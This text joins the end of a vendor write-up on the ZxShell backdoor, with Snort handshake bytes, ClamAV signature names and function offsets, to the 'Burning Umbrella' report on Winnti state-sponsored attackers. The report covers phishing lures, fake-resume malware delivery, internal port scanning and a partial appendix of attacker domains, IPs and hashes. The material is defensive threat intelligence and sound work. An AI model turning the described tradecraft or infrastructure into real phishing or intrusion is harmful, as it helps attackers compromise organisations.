For additional information, please see our blog post.
Protecting Users from These Threats Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware used by this threat actor.
CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks.
The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.
ESA can block spear phishing emails sent by threat actors as part of their campaign.
Appendix A: Snort Rules Initial connection from the infected computers perspective -- after it connects to the controller - RECV:  85190000250400000000404000000000 SEND:  86190000040100006666464000000000 RECV:  4edf9340780100000000000000000000 SEND:  00000000000000000000000000000000 The rules are on the first 8 bytes of the first two packets.
They are hard coded in the binaries.
The rest of the bytes are variable (for example, 66664640 is a floating point version number of ZxShell).
Snort rules: sid:32180 sid:32181 These rules have been released in our community ruleset and can be downloaded and used directly, or via pulledpork from Snort.org Appendix B: ClamAV Signatures Win.
Trojan.
ZxShell-11 Win.
Trojan.
ZxShell-12 http://blogs.cisco.com/talos/threat-spotlight-group-72/ http://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html http://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html http://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html http://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html http://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html http://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html https://www.snort.org/downloads https://code.google.com/p/pulledpork/ Win.
Trojan.
ZxShell-13 Win.
Trojan.
ZxShell-14 Win.
Trojan.
ZxShell-15 Win.
Trojan.
ZxShell-16 Win.
Trojan.
ZxShell-17 Win.
Trojan.
ZxShell-18 Win.
Trojan.
ZxShell-19 Win.
Trojan.
ZxShell-20 Win.
Trojan.
ZxShell-21 Win.
Trojan.
ZxShell-22 Win.
Trojan.
ZxShell-23 Win.
Trojan.
ZxShell-24 Win.
Trojan.
ZxShell-25 Win.
Trojan.
ZxShell-26 These signatures are available within the ClamAV database.
Please run freshclam to ensure you stay updated with the latest coverage.
Appendix C: List of Memory Offsets for Some ZxShell Functions Heres a list for some ZxShell functions for sample SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c: FUNCTION NAME BRIEF DESCRIPTION OFFSET ZxGetLibAndProcAddr ZxShell GetProcAddress implementation 0x12CDA CopyMemoryFromNewMsvcrt ZxShell memory copy routine 0x12C4C ServiceExists Get if a service is installed in the system or not 0x0A7C7 ProcessScCommand ZxShell SC command implementation 0x0E3EF AnalyseAndLoadPlugins Parse the installed plugin list and load each one of them 0x0127B7 DeleteAndLogPlugin Delete a corrupted plugin and log the problem 0x012597 KeyloggerThread ZxShell keylogger implementation 0x0D591 GetIpListAndConnect Analyse the IP list inside the ZxShell PE and tries to connect 0x011496 BuildTargetIpListStruct Build remote server Ip list structure 0x11419 DoHandshake Perform initial connection handshake 0xB8E8 GetLocalPcDescrStr Build a string containing the target workstation data 0x0B627 MainConnectionIo ZxShell main connection I/O routine 0x1126C ReceiveCommandData Receive each byte from the socket until a newline char 0x016DF ProcessCommand Main ZxShell command processing routine 0x10C2B Appendix D: Other Collateral Here is a non-exhaustive list of ZxShell samples that were analyzed for this report.
Here is a list of Domains organized by port.
Tags: APT, Group 72, malware, Operation SMN, security, SMN, Talos, threats http://blogs.cisco.com/wp-content/uploads/zxshell-hash-list.txt http://blogs.cisco.com/wp-content/uploads/zxshell-domains-by-port.txt http://blogs.cisco.com/tag/apt/ http://blogs.cisco.com/tag/group-72/ http://blogs.cisco.com/tag/malware/ http://blogs.cisco.com/tag/operation-smn/ http://blogs.cisco.com/tag/security-2/ http://blogs.cisco.com/tag/smn/ http://blogs.cisco.com/tag/talos2/ http://blogs.cisco.com/tag/threats/
Burning Umbrella An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers.
Tom Hegel May 3, 2018 Table of Contents Table of Contents 2 Key Judgements 3 Report Summary 4 Background 4 Analysis of Attacks on Initial Targets 9 Investigative Findings 16 Conclusion 16 Appendix A: Associated Indicators 17 About 401TRG 45 2 Key Judgements We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus, with at least some elements located in the Xicheng District of Beijing.
A number of Chinese state intelligence operations from 2009 to 2018 that were previously unconnected publicly are in fact linked to the Winnti umbrella.
We assess with high confidence that multiple publicly reported threat actors operate with some shared goals and resources as part of the Chinese state intelligence apparatus.
Initial attack targets are commonly software and gaming organizations in United States, Japan, South Korea, and China.
Later stage high profile targets tend to be politically motivated or high value technology organizations.
The Winnti umbrella continues to operate highly successfully in 2018.
Their tactics, techniques, and procedures (TTPs) remain consistent, though they experiment with new tooling and attack methodologies often.
Operational security mistakes during attacks have allowed us to acquire metrics on the success of some Winnti umbrella spear phishing campaigns and identify attacker location with high confidence.
The theft of code signing certificates is a primary objective of the Winnti umbrellas initial attacks, with potential secondary objectives based around financial gain.
3 Report Summary The purpose of this report is to make public previously unreported links that exist between a number of Chinese state intelligence operations.
These operations and the groups that perform them are all linked to the Winnti umbrella and operate under the Chinese state intelligence apparatus.
Contained in this report are details about previously unknown attacks against organizations and how these attacks are linked to the evolution of the Chinese intelligence apparatus over the past decade.
Based on our findings, attacks against smaller organizations operate with the objective of finding and exfiltrating code signing certificates to sign malware for use in attacks against higher value targets.
Our primary telemetry consists of months to years of full fidelity network traffic captures.
This dataset allowed us to investigate active compromises at multiple organizations and run detections against the historical dataset, allowing us to perform a large amount of external infrastructure analysis.
Background The Winnti umbrella and closely associated entities has been active since at least 2009, with some reports of possible activity as early as 2007.
The term umbrella is used in this report because current intelligence indicates that the overarching entity consists of multiple teams/actors whose tactics, techniques, and procedures align, and whose infrastructure and operations overlap.
We assess that the different stages of associated attacks are operated by separate teams/actors, however in this report we will show that the lines between them are blurred and that they are all associated with the same greater entity.
The Winnti and Axiom group names were created by Kaspersky Lab and Symantec, respectively, for their 2013/2014 reports on the original group.
The name Winnti is now primarily used to refer to a custom backdoor used by groups under the umbrella.
Multiple sources of public and private threat intelligence have their own names for individual teams.
For example, LEAD is a common alias for the group targeting online gaming, telecom, and high tech organizations.
Other aliases for groups related include BARIUM, Wicked Panda, GREF, PassCV, and others.
This report details how these groups are linked together and serve a broader attacker mission.
The many names associated with actors in the greater intelligence mission are due to the fact that they are built on telemetry of the intelligence provider which is typically unique and dependent on their specific dataset.
This report focuses heavily on networking related telemetry.
4 We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus.
This assessment is based on attacker TTPs, observed attack infrastructure, and links to previously published intelligence.
Their operations against gaming and technology organizations are believed to be economically motivated in nature.
However, based on the findings shared in this report we assess with high confidence that the actors primary long-term mission is politically focused.
Its important to note that not all publicly reported operations related to Chinese intelligence are tracked or linked to this group of actors.
However, TTPs, infrastructure, and tooling show some overlap with other Chinese-speaking threat actors, suggesting that the Chinese intelligence community shares human and technological resources across organizations.
We assess with medium to high confidence that the various operations described in this report are the work of individual teams, including contractors external to the Chinese government, with varying levels of expertise, cooperating on a specific agenda.
In 2015 the Peoples Liberation Army of China (PLA) began a major reorganization which included the creation of the Strategic Support Force (SSF / PLASSF).
SSF is responsible for space, cyber, and electronic warfare missions.
Some of the overlap we observed from groups could potentially be related to this reorganization.
Notably, key incident details below include attacker mistakes that likely reveal the true location of some attackers as the Xicheng District of Beijing.
Tactics, Techniques, and Procedures (TTPs): Though the TTPs of the attacking teams vary depending on the operation, their use of overlapping resources presents a common actor profile.
Key interests during attacks often include the theft of code signing certificates, source code, and internal technology documentation.
They also may attempt to manipulate virtual economies for financial gain.
While unconfirmed, the financial secondary objective may be related to personal interests of the individuals behind the attacks.
Initial attack methods include phishing to gain entry into target organization networks.
The group then follows with custom malware or publicly available offensive tooling (Metasploit/Cobalt Strike), and may use a number of methods to minimize their risk of being detected.
Such techniques include a particular focus on living off the land by using a victims own software products, approved remote access systems, or system administration tools for spreading and maintaining unauthorized access to the network.
We have observed incidents where the attacker used other victim organizations as a proxy for unauthorized remote access.
In these cases, organization 1 had been compromised for a long period of time, and the attacker accessed victim organization 2 via the organization 1 network.
5 Delivery and C2 domains routinely have subdomains which resemble target organizations.
Additionally, their C2 domains are used across many targets, while subdomains tend to be created and removed quickly and are unique to a particular target or campaign.
Also noteworthy is that the actors set their domains to resolve to 127.0.0.1 when not in use, similar to what was originally reported on by Kaspersky Lab (see below).
The actor often uses TLS encryption for varying aspects of C2 and malware delivery.
As noted in the Infrastructure Analysis section of this report, the actor primarily abuses Lets Encrypt to sign SSL certificates.
We also observed many cases in which self-signed certificates were used in attacks.
Overall, the Winnti umbrella and linked groups are lacking when it comes to operational security.
However, some activities linked to these groups follow better operational security and infrastructure management approaches.
This may be a clue to the division of responsibilities by team and skill level within the broader organization.
Targets: The Winnti umbrella and linked groups initial targets are gaming studios and high tech businesses.
They primarily seek code signing certificates and software manipulation, with potential financially motivated secondary objectives.
These targets have been identified in the United States, Japan, South Korea, and China.
Based on the infrastructure, links to previous reporting, and recently observed attacks, the broader organizations main targets are political.
Historically this has included Tibetan and Chinese journalists, Uyghur and Tibetan activists, the government of Thailand, and prominent international technology organizations.
One example of a politically focused lure by the Winnti umbrella and linked groups is an end of 2017 document titled Resolution 2375 (2017) Strengthening Sanctions on DPR of KOREA which is a malicious file associated with the C2 infrastructure described here - see MD5: 3b58e122d9e17121416b146daab4db9d.
6 Some Key Public Reports: 2013: Kaspersky Lab publicly reported on the original Winnti group, technical details around the Winnti samples, and various honeypot analysis methods.
Most noteworthy is the Winnti umbrellas targeting of gaming organizations in search of code signing certificates, virtual currencies, and updating mechanisms which could potentially be used to attack victims clients.
Interestingly, this was the first identified trojan for the 64-bit Microsoft Windows operating system with a valid digital signature as noted by the author.
The abuse of signed applications is a very effective attack approach that the entity continues to use.
2014: Novetta released an outstanding report detailing Operation SMN, in which they collaborated with a number of private organizations on a large scale malware eradication operation which is linked to the original Winnti group by the malware being delivered.
In the report, the actor is named Axiom.
Novetta reported links to publications from as far back as 2009 that also link the group to the Chinese state intelligence apparatus with high confidence.
Links exist to various known attacks and actor groups, such as Operation Aurora, Elderwood Groups successful 2010 attack against Google and many other organizations.
Another link exists to the successful compromise of the security organization Bit9 in 2013, where their own product was used to sign and spread malware to their customers.
In addition, FireEyes Operation DeputyDog detailed attacks on Japanese targets from the same attack infrastructure.
Many other incidents are detailed in the Operation SMN report.
Following all of these details back in time, we can see an overlap in TTPs and 7 https://securelist.com/winnti-more-than-just-a-game/37029/ https://securelist.com/winnti-1-0-technical-analysis/37002/ https://securelist.com/the-winnti-honeypot-luring-intruders/35623/ http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf https://krebsonsecurity.com/2013/02/security-firm-bit9-hacked-used-to-spread-malware/ https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html targets from the APT1 report by Mandiant, which serves as a great historical example of Chinese intelligence cyber operations in their most basic form.
2016: Cylance released a blog post reporting on digitally signed malware used in targeted attacks against gaming organizations in China, Taiwan, South Korea, Europe, Russia, and the United States.
Cylance refers to the attacking entity as PassCV in their reporting.
Cylance successfully identified a large quantity of malware binaries which were signed with valid certificates stolen from a number of gaming studios in East Asia.
In addition to detailing the individual certificates and signed malware, they identified a significant amount of network infrastructure which contain various interesting links to our own findings.
2017 - March/April: Trend Micro reported on attacks that abused GitHub for use in malware command and control, which they attributed to the original Winnti group.
Amusingly, Trend Micro later reported on an individual linked to the group and the attacks who happens to be a fan of pigs.
2017 - July 5th: Citizen Lab reported on attacks against journalists by an actor mimicking China-focused news organizations HK01, Epoch Times, Mingjing News, and Bowen Press.
As Citizen Lab noted, these news organizations are blocked in China for their political views.
The report notes that malware used in these attacks was linked to a stolen code signing certificate mentioned in the Cylance PassCV post.
That overlap, in addition to infrastructure links from a Palo Alto Unit 42 blog post, strongly links this attack to the previously mentioned reports as well as to our own.
As Unit 42 reports, the attacks against entities in the government of Thailand used the bookworm trojan.
2017 - July/October: ProtectWise 401TRG published our own findings and an update on LEAD using open source and public tooling in attacks against Japanese gaming organizations.
These attacks are linked with high confidence to ongoing operations in the United States and East Asia.
Other Noteworthy Events: In 2017, multiple supply-chain attacks occurred which had some similarities to the Winnti umbrella and associated entities.
For example, Kaspersky reported on ShadowPad, a large-scale compromise of NetSarang, which resembles the Winnti and PlugX malware.
In addition, Kaspersky and Intezer identified notable code similarities to the Winnti umbrella and APT17 in the compromise of Piriform, which 8 https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/ https://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/ https://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/ https://citizenlab.ca/2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/ https://researchcenter.paloaltonetworks.com/2015/11/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/ https://401trg.pw/winnti-evolution-going-open-source/ https://401trg.pw/an-update-on-winnti/ https://securelist.com/shadowpad-in-corporate-networks/81432/ https://securelist.com/shadowpad-in-corporate-networks/81432/ https://twitter.com/craiu/status/910059453948579840?ref_srctwsrc5Etfwref_urlhttps3A2F2Fwww.intezer.com2Fevidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner2Ftfw_creatorIntezerLabstfw_siteIntezerLabs http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ allowed attackers to sign and spread altered versions of the CCleaner software to a large customer base.
Analysis of Attacks on Initial Targets Throughout 2017 and 2018, ProtectWise 401TRG was involved in a number of detection and incident response engagements with our customers that linked back to the Winnti umbrella and other closely associated entities.
Through the analysis of public and private intelligence, we have successfully identified similar attacks, which allow us to assess with high confidence that the details below follow a global attack trend as the Chinese intelligence operations have evolved over time.
2017 Operations: One of the most common tactics used by the Winnti umbrella and related entities is phishing users whose credentials may provide elevated access to a target network.
We have observed spear-phishing campaigns that target human resources and hiring managers, IT staff, and internal information security staff, which are generally very effective.
In 2017 the entity focused most of its efforts around technical job applicant email submissions to software engineering, IT, and recruiting staff, which we originally reported on at our 401trg.pw blog.
The phishing lures used multiple languages, including Japanese as in the below example: The approximate translation is as follows: I saw your job posting.
My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP.
I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing.
I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL.
Please see here: [malicious link] 9 https://401trg.pw/ The process that followed a target clicking the malicious link evolved as the attacker progressed through the campaigns.
The links consistently sent the victim to a fake resume, but the exact format of that resume changed over time we have observed resumes being delivered as DOC, XLS, PDF, and HTML files.
Once opened, the fake resumes performed various actions in an effort to download malware onto the victim host.
During the same time period, we also observed the actor using the Browser Exploitation Framework (BeEF) to compromise victim hosts and download Cobalt Strike.
In this campaign, the attackers experimented with publicly available tooling for attack operations.
During this infection process, the actor was known to check the target operating system and deliver malware, signed by a previously stolen key, for the appropriate host environment.
In some cases, valid Apple certificates stolen from victims were used in this process, which linked the attack to additional victim organizations.
Post-compromise actions by the attacker followed a common pattern.
First they attempted to spread laterally in the network using stolen credentials and various reconnaissance efforts, such as manually examining shares and local files.
The primary goal of these attacks was likely to find code-signing certificates for signing future malware.
The secondary goals of the attackers depended on the type of victim organization, but were often financial.
For example, gaming organizations tended to fall victim to manipulation or theft of in-game virtual currencies.
Non-gaming victims may have experienced theft of intellectual property such as user or technology data.
2018 Operations: More recently, various attack campaigns from the Winnti umbrella and associated groups have been very successful without the use of any exploits or malware.
Phishing remains the initial infection vector but the campaign themes have matured.
In 2018, the campaigns have largely been focused on common services such as Office 365 and Gmail.
10 It is important to note that attackers likely have additional information on their target organizations preferred email solutions based on previous incidents or open source intelligence.
In more recent phishing campaigns conducted by the Winnti umbrella and associated groups, URL shortening services have been used.
For example, Googles URL shortening service goo.gl was used over the past weeks, allowing us to gain insight into the scale of this campaign using publicly available analytics.
11 As you can see from the above screenshot, this particular phishing campaign ran from March 20th to March 28th, 2018.
Notably, the link was created on February 23rd, 2018, indicating roughly three weeks of preparation for the attacks.
These metrics allow us to gain insight into who clicked the link in a phishing email and was directed to a phishing or malware delivery landing page.
According to Google analytics, there were a total of 56 clicks.
29 were from Japan, 15 from the United States, 2 from India, and 1 from Russia.
33 of the clicks were from Google Chrome, and 23 were from Safari.
30 were from Windows OS hosts, and 26 were macOS hosts.
In general, the attackers phish for credentials to a users cloud storage, and would be expected to later attempt malware delivery in the cases of a failed credential phish or valueless cloud storage.
12 In cases where the victim uses O365 and/or G-suite for enterprise file storage, the attackers manually review the contents for data of value.
If code signing certificates are stored here, the primary mission has been accomplished, as they may be easily downloaded.
In other cases, the attackers attempt to use other files and documentation in the cloud storage to help them traverse or gain privileges on the network.
The targets in 2018 include IT staff, and commonly sought out files include internal network documentation and tooling such as corporate remote access software.
Once the attackers gain remote access to the network via malware or stolen remote access tooling and credentials, the operation continues as weve seen, though their post-compromise actions have become more efficient and automated.
Internal reconnaissance is performed by scanning the internal network for open ports 80, 139, 445, 6379, 8080, 10022, and 30304.
The choice of ports by the attacker indicates a strong interest in internal web and file storage services.
An interesting addition is the use of 30304, which is the peer discovery port for Ethereum clients.
In the attackers ideal situation, all remote access occurs through their own C2 infrastructure, which acts as a proxy and obscures their true location.
However, we have observed a few cases of the attackers mistakenly accessing victim machines without a proxy, potentially identifying the true location of the individual running the session.
In all of these cases, the net block was 221.216.0.0/13, the China Unicom Beijing Network, Xicheng District.
Visualizing Attacker Infrastructure Based on the various incidents we have been involved in, in addition to past public reporting and open-source intelligence, we can construct a map representing the infrastructure most closely associated with the Winnti umbrella and closely related entities.
For the sake of producing an accurate representation of the infrastructure, we are excluding any shared infrastructure (such as hosting provider IPs used for many unrelated domains) and low confidence indicators.
Please note this is not an exhaustive list of all active infrastructure in use by the group.
As detailed below, this infrastructure spans at least eight years of activity by the Winnti umbrella and related groups.
Please note, as this section heavily references the Some Key Public Reports section, above, we recommend reading that first.
Indicators are provided in Appendix A.
1.
The area of the map labeled 1 is the phishing, malware delivery, fake resume, and C2 infrastructure.
This includes domains, IPs, malware hashes, SSL certificates, and WHOIS information.
In this section of the infrastructure, we primarily observe the network and file indicators which would be used 13 against targets valued for code signing certificates, software manipulation, and potential financial manipulation.
The indicators detailed in the 2017 2018 Initial Target section of this report are located in 1.
Infrastructure in this area is currently in use and not entirely historical.
2.
This area is a network that we assess is associated with the umbrella with low confidence.
The most interesting findings here are the large number of Lets Encrypt SSL certificates in use and the overlap with attacker exclusive infrastructure.
This proposed relationship is generated by infrastructure links alone, as no malicious activity has been confirmed to or from region 2.
Infrastructure in this area is currently in use and not historical.
3.
Area 3 is linked to the initial attack infrastructure (1) by domain WHOIS details, likely from operational security mistakes.
We assess with high confidence that these infrastructures are linked.
Based on the lax structure and naming of this section, it is highly probable that it is used for attacker experimenting and development.
Some examples include domains such as nobody.will.know.whoami[.
]la, secret.whoami[.
]la, and no.ip.detect.if.using.ipv6[.
]la.
Infrastructure in this area is currently in use and not historical.
4.
This area has various links to 3 in which an individual software developer is identified.
We asses this connection with low to medium confidence and will refrain from publicly sharing details in this report.
This area contains many personally operated domains and SSL certificates.
Infrastructure in this area is currently in use and not historical.
5.
Area 5 of the map is part of what Novetta reported on as Operation SMN in 2014.
Infrastructure in this area is purely historical and based on Novettas reporting, which we can link to area 1 via known umbrella infrastructure.
The vast majority of indicators in this area are the many associated hashes, combined with their C2 destination domains and IPs.
6.
This area of the map is what Cylance reported on as PassCV in 2016.
The vast majority of infrastructure and indicators here are stolen code signing certificates, malware signed with the certificates, and C2 domains.
This area contains information on many victims of campaigns related to area 1.
Infrastructure in this area is historical.
We assess that this area is linked to the Winnti umbrella with high confidence.
7.
This section represents infrastructure identified by Citizen Lab in their July 5th 2017 reporting on attacks against journalists.
As they originally identified, one of the NetWire binaries was signed with a stolen certificate linked to 6, 14 http://www.novetta.com/wp-content/uploads/2014/11/Hashes.txt the Cylance PassCV report.
We were able to further expand this section by pivoting off of additional domain WHOIS information.
8.
Lastly is area 8, which links back with high confidence to 7 (Citizen Lab reporting) and 6 (PassCV).
This area consists of domains, IPs, MD5 file hashes, and further WHOIS operational security mistakes.
This area is similar in functionality to 1 and 3, serving as infrastructure for both high-value politically focused attacks and developer personal use.
This section links to the online identities of an individual we asses to be associated with the Winnti umbrella or a closely related group at a medium to high confidence.
Infrastructure in this area is currently in use and not historical.
One example of malicious activity in this area was the document detailing the strengthening of sanctions against North Korea, above.
These activities are similar to the type of politically motivated targeted attacks Citizen Lab reported on.
Some infrastructure in this area is currently in use and is not completely historical.
15 Investigative Findings Based on incident response engagements, research into the associated attacker infrastructure, and previously reported research, we can summarize our findings as follows: 1.
The Chinese intelligence apparatus has been reported on under many names, including Winnti, PassCV, APT17, Axiom, LEAD, BARIUM, Wicked Panda, and GREF.
2.
The overlap of TTPs and infrastructure between the Winnti umbrella and other groups indicates the use of shared human and technology resources working towards an overarching goal.
Operational security mistakes allow the linking of attacks on lower value targets to higher value campaigns.
Reuse of older attack infrastructure, links to personal networks, and observed TTPs play a role in this overlap.
3.
The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13.
4.
Initial attack targets are commonly software organizations in the United States, Japan, South Korea, and China.
Later stage high profile targets tend to be political organizations or high-value technology companies.
5.
The attackers grow and learn to evade detection when possible, but lack operational security when it comes to the reuse of some tooling.
Living off the land and adaptability to individual target networks allow them to operate with high rates of success.
Conclusion We hope the information weve shared in this report will help potential targets and known victims in addition to the greater information security community.
Though they have at times been sloppy, the Winnti umbrella and its associated entities remain an advanced and potent threat.
We hope that the information contained within this report will help defenders thwart this group in the future.
Wed like to extend a special thank you to all the victims, targets, researchers, and security vendors who have shared their own findings over the years.
16 Appendix A: Associated Indicators If you are interested in automating the intake of public 401TRG indicators, we recommend using our github detections repository.
Area 1: Type Indicator IP Address 106.184.5.252 IP Address 106.185.31.128 IP Address 106.186.122.96 IP Address 13.115.93.210 IP Address 133.242.145.137 IP Address 139.162.106.19 IP Address 139.162.119.48 IP Address 139.162.17.161 IP Address 139.162.79.40 IP Address 139.162.95.39 IP Address 159.65.71.30 IP Address 172.104.101.131 IP Address 172.104.115.124 IP Address 198.199.78.207 IP Address 207.126.114.154 IP Address 45.32.18.187 IP Address 45.77.179.192 IP Address 52.199.202.13 IP Address 61.78.62.102 IP Address 61.78.62.21 IP Address 61.78.62.61 17 https://github.com/401trg/detections Domain 11116[.]intra[.]applestunes[.
]com Domain 24287[.]intra[.]applestunes[.
]com Domain 26707[.]intra[.]applestunes[.
]com Domain 33604[.]intra[.]applestunes[.
]com Domain account[.]microsoftssonline[.
]com Domain account[.]micrrosoftsonline[.
]com Domain account[.]outlook-s[.
]com Domain accounts[.]gmail[.]sa[.
]com Domain accounts[.]google-acc[.
]com Domain accounts[.]google-caches[.
]com Domain alienlol[.
]com Domain app[.]appaffect[.
]com Domain appaffect[.
]com Domain applestunes[.
]com Domain applevswin[.
]com Domain asmc[.
]best Domain atliassian[.
]com Domain awsprocduction[.]immigrantlol[.
]com Domain awsstatics[.
]com Domain css[.]google-statics[.
]com Domain dnslog[.
]mobi Domain eggagent[.
]info Domain exoticlol[.
]com Domain ftp[.]appaffect[.
]com Domain ftp[.]eggagent[.
]info Domain ftp[.]ssrsec[.
]com Domain ftp[.]winter[.
]tokyo Domain gmail[.]sa[.
]com Domain google-acc[.
]com 18 Domain google-caches[.
]com Domain google-searching[.
]com Domain google-statics[.
]com Domain googlecloud[.
]center Domain gstatic[.
]guide Domain helpdesk[.]access[.
]ly Domain id[.]atliassian[.
]com Domain immigrantlol[.
]com Domain intra2015[.]awsstatics[.
]com Domain job[.]yoyakuweb[.
]technology Domain jobcenters[.
]com Domain jobscenters[.
]org Domain k0oo[.
]co Domain login[.]gmail[.]sa[.
]com Domain login[.]microsoftssonline[.
]com Domain login[.]micrrosoftsonline[.
]com Domain macos[.]exoticlol[.
]com Domain mail[.]appaffect[.
]com Domain mail[.]atliassian[.
]com Domain mail[.]awsstatics[.
]com Domain mail[.]google-acc[.
]com Domain mail[.]google-caches[.
]com Domain mail[.]microsoftssonline[.
]com Domain mail[.]micrrosoftsonline[.
]com Domain mail[.]mondoor[.
]tv Domain mail[.]outlook-s[.
]com Domain mail[.]ssrsec[.
]com Domain mail[.]winter[.
]tokyo Domain martianlol[.
]com 19 Domain microsoftsec[.
]com Domain microsoftssonline[.
]com Domain mondoor[.
]tv Domain ns1[.]google-searching[.
]com Domain ns2[.]googlecloud[.
]center Domain outerlol[.
]com Domain outlook-s[.
]com Domain proappcs[.
]com Domain rabbit[.]awsstatics[.
]com Domain resume[.]immigrantlol[.
]com Domain snow[.]winter[.
]tokyo Domain sqlmapff[.
]com Domain sshsocks[.]google-searching[.
]com Domain ssl[.]gmail[.]sa[.
]com Domain ssl[.]google-acc[.
]com Domain ssl[.]google-caches[.
]com Domain ssrsec[.
]com Domain strangelol[.
]com Domain summer[.]winter[.
]tokyo Domain support[.]theonelogin[.
]com Domain theonelogin[.
]com Domain vmxesxi[.]google-searching[.
]com Domain vps2java[.]securitytactics[.
]com Domain winter[.
]tokyo Domain www5363uj[.]sakura[.]ne[.
]jp Domain yoyakuweb[.
]technology SSL Cert SHA1 512509787e4da7aaf71b89d25698a9e9d43501fd SSL Cert SHA1 bd3abf19f065d102503e9186c152e529d3e33143 SSL Cert SHA1 df7826303b98004afd1102f597f6c7b067086a00 20 SSL Cert SHA1 1217cbb57fb26bd52d976f34571bd6c6514265e9 SSL Cert SHA1 e6a3b45b062d509b3382282d196efe97d5956ccb SSL Cert SHA1 8e400380e376b9fb03612967940bb8e07175ab6a SSL Cert SHA1 263babc25c177e0e6bd87c687bad8316240f971e SSL Cert SHA1 58e1a9c1dae311fabdfa065955216a46eecb5816 SSL Cert SHA1 bae30b15dbb1544cf194d076b75b7bb9e3d6b760 SSL Cert SHA1 0e34141846e7423d37f20dc0ab06c9bbd843dc24 SSL Cert SHA1 23d57a493a5bfe1801b9d6e0894555242661a27b SSL Cert SHA1 8e11362a487a744fd21682cd86ad053e8bd5b9ce File MD5 Hash b676ec7b387de8795833b691a367d3d1 File MD5 Hash e798cfe49e6afb61f58d79a53f06d785 File MD5 Hash 371acda8d719426b6a8867767260b9ce Cookie _phishing-framework_session WHOIS Email haveip2015gmail[.
]com WHOIS Email iisexitgmail[.
]com Area 2: Type Indicator IP Address 52.199.171.117 IP Address 118.243.177.54 Domain y177054.ppp.asahi-net.or[.
]jp Domain newsite.parakaro.co[.
]jp Domain www.hyper.parakaro.co[.
]jp Domain office.parakaro.co[.
]jp Domain hyper.parakaro.co[.
]jp Domain peq.parakaro.co[.
]jp Domain next.parakaro.co[.
]jp Domain ftp.parakaro.co[.
]jp 21 Domain parakaro.co[.
]jp SSL Cert SHA1 12eb8a9f1a7cd1cc10e57847dd5476c6062b9e58 SSL Cert SHA1 8df0b63fbdd9616d581bdb101929eb17f80f9e99 SSL Cert SHA1 92a1c7e1fd5afccd957e7fcbcdd2431eb9bf3d50 SSL Cert SHA1 a22d97e4ede82ae8375522aca59db575d08c5c35 SSL Cert SHA1 ddf115821717dabb5e69c753d27460242204031e SSL Cert SHA1 5e0fa58bf1c4c1b63144052063dc2bb9129aa1f3 SSL Cert SHA1 c3e55bd6fe0205fe7dc1ad53ed03db269ba5da71 SSL Cert SHA1 1cc87c7c900d584400c5c82073672888fefb145e SSL Cert SHA1 ca2854658dff72da77bf82c1fe5899d09f9f559d SSL Cert SHA1 93caf237baa37cd42dfc4653ffc1792fcbad4642 SSL Cert SHA1 aff17a2e1969e4bf81dbaa3591778887546570cb SSL Cert SHA1 3f3da327ca330396f1ab0a543be284f85d9d414a Area 3: Type Indicator IP Address 119.29.157.220 IP Address 207.126.114.133 IP Address 207.126.114.136 IP Address 207.126.114.158 IP Address 207.126.114.161 IP Address 207.126.114.163 IP Address 208.185.83.234 IP Address 208.185.83.241 IP Address 208.185.83.248 IP Address 208.185.92.31 IP Address 208.185.92.62 IP Address 42.51.17.180 22 IP Address 64.125.185.106 Domain 117[.]89[.]65[.]117[.]ipv6[.
]la Domain address[.]ipv6[.
]la Domain anonymous[.]ipv6[.
]red Domain be[.]loved[.
]tokyo Domain bless[.
]christmas Domain blessed[.]loved[.
]tokyo Domain channel-w[.
]in Domain cisco[.]ipv6[.
]la Domain colour[.]of[.]girls[.]is[.]violet[.
]la Domain cute[.]devil[.
]tokyo Domain devil[.
]tokyo Domain diamond[.]violet[.
]la Domain didin[.
]asia Domain doyan[.
]party Domain enjoy[.]and[.]loved[.
]tokyo Domain ertiga[.
]org Domain freak[.
]pictures Domain ftp[.]devil[.
]tokyo Domain ftp[.]ipv6[.
]red Domain ftp[.]loved[.
]tokyo Domain ftp[.]newbie[.
]red Domain gadget[.]newbie[.
]red Domain happy[.]bless[.
]christmas Domain hidden[.]ipv6[.
]red Domain huhaifan[.
]com Domain i[.]loved[.
]tokyo Domain ipv4[.]ipv6[.
]la Domain ipv6[.
]la 23 Domain ipv6[.
]red Domain irc[.]devil[.
]tokyo Domain joy[.]full[.]bless[.
]christmas Domain just[.]a[.]newbie[.
]red Domain katanya[.]rame[.]yah[.]di[.]channel[.]violet[.
]la Domain like[.]violet[.
]la Domain loved[.
]tokyo Domain loved[.
]tokyo Domain loving[.]and[.]being[.]loved[.
]tokyo Domain loving[.]and[.]being[.]loved[.
]tokyo Domain ludicrous[.
]lol Domain mail[.]bless[.
]christmas Domain mail[.]devil[.
